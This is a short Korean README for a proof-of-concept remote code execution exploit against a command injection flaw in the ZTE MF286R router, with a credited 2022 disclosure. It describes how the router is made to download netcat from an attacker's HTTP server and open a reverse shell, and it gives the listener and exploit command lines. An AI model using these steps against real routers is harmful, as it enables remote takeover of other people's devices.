
ZTE MF286R 라우터에 영향을 미치는 명령어 삽입 취약점에 대한 개념 증명, RCE 익스플로잇 포함.
펌웨어 세부 정보:
wa_inner_version: BD_POSTEMF286RMODULEV1.0.0B12
cr_version: CR_ITPOSTEMF286RV1.0.0B10
pip install requests)해당 취약점은 zte_net_link_detect 바이너리와 웹 서버 goahead 바이너리의 WATCH_DOG_SWITCH 핸들러 간의 공유 명령어 삽입 취약점입니다.
이 취약점은 라우터가 WAN에 연결되어 있거나 SIM 카드를 통해 인터넷에 연결된 경우에만 악용될 수 있습니다. ("ppp_status" 키 값이 "ppp_connected", "ipv4_ipv6_connected" 또는 "ipv6_connected" 중 하나여야 합니다).
익스플로잇의 아이디어는 HTTP 서버에서 netcat 정적 바이너리를 다운로드한 후 이를 사용하여 리버스 셸을 여는 것입니다. 참고: 이 폴더에 포함된 netcat은 빅 엔디언입니다.
python3 -m http.server 80809999에서 리스닝 소켓 열기: nc -lvp 9999python3 exploit.py http://<router> <admin_password> <attacker_ip, es: 192.168.1.101>해당 취약점은 2022년 9월 Andrea Maugeri에 의해 보고되었습니다. https://support.zte.com.cn/support/news/NewsDetail.aspx?newsId=1028664